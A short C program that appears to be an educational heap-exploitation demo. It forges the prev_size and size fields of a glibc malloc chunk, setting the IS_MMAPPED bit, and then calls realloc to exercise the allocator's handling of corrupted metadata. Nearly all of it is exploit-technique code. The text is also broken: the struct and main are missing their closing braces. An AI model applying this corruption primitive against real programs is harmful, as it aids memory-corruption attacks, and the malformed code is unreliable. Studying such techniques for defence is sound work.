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#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
typedef size_t INTERNAL_SIZE_T;
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
int main(int argc, const char* argv[]) {
void *mem = malloc(0x400);
mchunkptr victim = (mchunkptr)((char*)mem - offsetof(struct malloc_chunk, fd));
printf("allocated victim chunk with requested size 0x400 at %p, " \
"victim->size == 0x%zx\n", (void *)mem, victim->size);
void *border = malloc(0x400);
printf("allocated another chunk at %p, so that victim won't simply be grown " \
" from top \n", border);
printf("emulating corruption of prev_size and size of victim\n");
victim->prev_size = (SIZE_MAX/2 + 1) - 8;
victim->size = 8 | IS_MMAPPED;
printf("reallocating victim with size 0x1600\n");
void *mem2 = realloc(mem, 0x1600);
printf("realloc returned: %p\n", mem2);
return 0;